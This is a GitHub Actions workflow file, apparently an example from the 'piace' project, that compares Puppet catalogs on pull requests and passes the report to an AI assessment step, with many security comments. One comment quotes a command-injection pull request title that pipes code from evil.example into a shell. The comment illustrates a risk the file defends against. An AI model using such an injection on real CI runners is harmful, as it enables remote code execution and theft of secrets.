-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathgithub-actions.yml
More file actions
247 lines (231 loc) · 11.3 KB
/
Copy pathgithub-actions.yml
File metadata and controls
247 lines (231 loc) · 11.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
# GitHub Actions: compare on every pull request, then assess the result.
#
# Copy to .github/workflows/piace.yml in your control repository, with the
# layout docs/ci.md describes:
#
# ci/piace/targets.yaml committed, reviewable policy
# ci/piace/services.yaml committed, endpoints and credential references
# ci/piace/policy-notes.md committed, optional site policy for the model
#
# Three files, and none of them is rendered, copied or rewritten by a job.
# The services file names its TLS material through `*_env`, so the committed
# file is read in place: see examples/ci/services.yaml.
#
# Two jobs, not one, because they need different credentials: `compare` holds
# the catalog-reader identity and never sees the inference token, `explain`
# holds the inference token and never sees a private key. A runner compromise
# in either job yields one of the two. That separation lives in which secrets
# each job is granted, not in which file it reads.
name: piace
on:
pull_request:
# The workflow reads the checkout and nothing else. Neither job writes to the
# repository.
permissions:
contents: read
env:
PIACE_VERSION: '0.4.0'
jobs:
compare:
runs-on: ubuntu-latest
# A pull request from a fork gets no secrets, so the job would fail at TLS
# load with exit 30 rather than doing anything useful. Skip it instead of
# producing a red run nobody can fix. Never reach for `pull_request_target`
# to work around this: it hands the secrets to code the fork controls.
if: github.event.pull_request.head.repo.full_name == github.repository
steps:
- uses: actions/checkout@v4
with:
# `piace change-context` takes a merge base, which a shallow clone
# does not have.
fetch-depth: 0
# Pinned to a version and verified against the manifest published with
# it. A runner that fetches "the latest binary" from the internet on
# every run is a supply chain you do not control.
#
# Skip this step entirely if the binary is already on the runner: baked
# into a self-hosted runner image, installed by the host's own
# configuration management, or mirrored into an internal artifact
# repository. Nothing here resolves a dependency at run time, so a
# `piace` on PATH is the whole install.
- name: Install piace
run: |
set -euo pipefail
mkdir -p "$RUNNER_TEMP/piace-bin"
cd "$RUNNER_TEMP/piace-bin"
base="https://github.com/example42/piace/releases/download/v${PIACE_VERSION}"
curl -fsSLO "$base/piace-${PIACE_VERSION}-linux-amd64"
curl -fsSLO "$base/SHA256SUMS"
# Verifying one line of the manifest rather than the whole file: the
# other platforms were not downloaded, and a manifest line that
# matches nothing on disk must fail rather than pass quietly.
grep " piace-${PIACE_VERSION}-linux-amd64\$" SHA256SUMS | sha256sum -c -
install -m 0755 "piace-${PIACE_VERSION}-linux-amd64" piace
echo "$RUNNER_TEMP/piace-bin" >> "$GITHUB_PATH"
# Where cosign is available, verify the signature first and treat
# the checksum as the second step rather than the only one:
# cosign verify-blob SHA256SUMS --bundle SHA256SUMS.sigstore.json \
# --certificate-identity "https://github.com/example42/piace/.github/workflows/ci.yml@refs/tags/v${PIACE_VERSION}" \
# --certificate-oidc-issuer https://token.actions.githubusercontent.com
# $RUNNER_TEMP is per-job and outside the checkout, which is what makes
# it the right home for a private key: nothing here reaches actions/cache,
# an uploaded artifact, or a later `git status`.
#
# No `set -x` in this step, ever. The secrets themselves are never
# echoed; a trace of the commands that write them would be.
# A GitHub secret is a value, not a path, so this job writes the three
# PEMs to files and exports their paths. ci/piace/services.yaml names
# those three variables with ca_bundle_env, client_cert_env and
# private_key_env, so the committed file is read in place and nothing
# renders or copies it.
- name: Write the catalog-reader identity
env:
CA_BUNDLE: ${{ secrets.PIACE_CA_BUNDLE }}
CLIENT_CERT: ${{ secrets.PIACE_CLIENT_CERT }}
PRIVATE_KEY: ${{ secrets.PIACE_PRIVATE_KEY }}
run: |
set -euo pipefail
umask 077
install -d -m 0700 "$RUNNER_TEMP/piace-run"
printf '%s\n' "$CA_BUNDLE" > "$RUNNER_TEMP/piace-run/ca.pem"
printf '%s\n' "$CLIENT_CERT" > "$RUNNER_TEMP/piace-run/client.pem"
printf '%s\n' "$PRIVATE_KEY" > "$RUNNER_TEMP/piace-run/client.key"
{
echo "PIACE_CA_BUNDLE=$RUNNER_TEMP/piace-run/ca.pem"
echo "PIACE_CLIENT_CERT=$RUNNER_TEMP/piace-run/client.pem"
echo "PIACE_PRIVATE_KEY=$RUNNER_TEMP/piace-run/client.key"
} >> "$GITHUB_ENV"
# Exit 10 is a policy difference, which fails the step and so the job:
# that is `fail_on_diff: true` in targets.yaml doing its work. 20 and 30
# mean the run did not complete. To review differences without blocking
# the pull request, set `fail_on_diff: false` rather than swallowing the
# exit code here, so the report still says what changed.
#
# The candidate environment is the one this workflow deployed: a
# per-run value, passed at the invocation so the committed target file
# stays reviewable policy and the job never rewrites it. It overrides
# candidate.environment for every target, so the file may omit the
# field entirely. The environment maps to the compiler by branch name:
# the head ref of this pull request is the Puppet environment the
# compiler has deployed, so use the head ref, not the pull request
# number. A branch name is not always a Puppet environment name:
# environments cannot contain a dash, and r10k, when configured to,
# deploys `feature-x` as `feature_x`. Rewrite dashes the same way so
# the requested environment equals the one deployed; match whatever
# mapping your deploy step applies, not one invented here. It arrives
# through `env:` for the reason the change context step below explains.
- name: Compare
env:
HEAD_REF: ${{ github.head_ref }}
run: |
candidate_environment="$(printf '%s' "$HEAD_REF" | tr '-' '_')"
piace compare \
--targets ci/piace/targets.yaml \
--services ci/piace/services.yaml \
--candidate-environment "$candidate_environment" \
--json-out report.json \
--html-out report.html
# Both reports carry catalog values, redacted per targets.yaml but not
# otherwise sanitized. Keep the retention short and remember that anyone
# who can read the repository can download them.
- name: Upload the reports
if: always()
uses: actions/upload-artifact@v4
with:
name: piace-report
path: |
report.json
report.html
retention-days: 5
if-no-files-found: warn
# A hosted runner is destroyed after the job and a self-hosted one is
# not. This step costs nothing on the first and matters on the second.
- name: Remove the identity
if: always()
run: rm -rf "$RUNNER_TEMP/piace-run"
explain:
needs: compare
runs-on: ubuntu-latest
# `always()` on purpose: the run worth assessing is usually the one that
# just failed the gate. `compare` writes report.json before it exits 10.
if: always() && needs.compare.result != 'skipped'
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Install piace
run: |
set -euo pipefail
mkdir -p "$RUNNER_TEMP/piace-bin"
cd "$RUNNER_TEMP/piace-bin"
base="https://github.com/example42/piace/releases/download/v${PIACE_VERSION}"
curl -fsSLO "$base/piace-${PIACE_VERSION}-linux-amd64"
curl -fsSLO "$base/SHA256SUMS"
grep " piace-${PIACE_VERSION}-linux-amd64\$" SHA256SUMS | sha256sum -c -
install -m 0755 "piace-${PIACE_VERSION}-linux-amd64" piace
echo "$RUNNER_TEMP/piace-bin" >> "$GITHUB_PATH"
# GitHub has no per-exit-code handling, so `compare` fails its job on
# 10, 20 and 30 alike and this job cannot tell them apart from
# needs.compare.result. Whether a result document was produced is the
# honest proxy: exit 10 wrote one, exit 30 usually did not.
- name: Download the reports
id: reports
continue-on-error: true
uses: actions/download-artifact@v4
with:
name: piace-report
# `change-context` is the one subcommand that runs git, and it is
# optional. Commit subjects and changed paths only, never bodies. Read
# examples/change-context.yaml before enabling it: everything in the
# generated file is forwarded to the inference service as data, and the
# change context is not pseudonymized.
#
# Every untrusted value is passed by NAME, never by value. `${{ }}` is
# substituted into the script text before a shell sees it, so a pull
# request titled `"; curl evil.example/x | sh; #` would otherwise run on
# this runner, and a pull request title is attacker-supplied by
# definition. A branch name may legally contain `;`, `$` and a backtick,
# so the base ref is named too. There is deliberately no --title flag to
# substitute a value into.
- name: Describe the change
if: steps.reports.outcome == 'success'
env:
BASE_REF: ${{ github.base_ref }}
HEAD_REF: ${{ github.head_ref }}
PR_TITLE: ${{ github.event.pull_request.title }}
PR_BODY: ${{ github.event.pull_request.body }}
run: |
# --head-ref-env is not decoration here: a pull_request checkout is
# detached at a temporary merge commit, so asking git for the branch
# name yields the literal "HEAD" and the assessment never learns
# which branch it is reading.
BASE_REF="origin/$BASE_REF" piace change-context \
--base-ref-env BASE_REF \
--head-ref-env HEAD_REF \
--title-env PR_TITLE \
--description-env PR_BODY \
> change-context.yaml
# The token is referenced by name; there is no field that inlines one.
# `explain` cannot change an exit code, so a failure here is advisory
# unless you pass --fail-on-inference-error.
- name: Assess
if: steps.reports.outcome == 'success'
env:
PIACE_INFERENCE_TOKEN: ${{ secrets.PIACE_INFERENCE_TOKEN }}
run: |
piace explain \
--json-in report.json \
--services ci/piace/services.yaml \
--change change-context.yaml \
--ai-out assessment.json \
--html-out report.html
- name: Upload the assessment
if: always() && steps.reports.outcome == 'success'
uses: actions/upload-artifact@v4
with:
name: piace-assessment
path: |
assessment.json
report.html
retention-days: 5
if-no-files-found: warn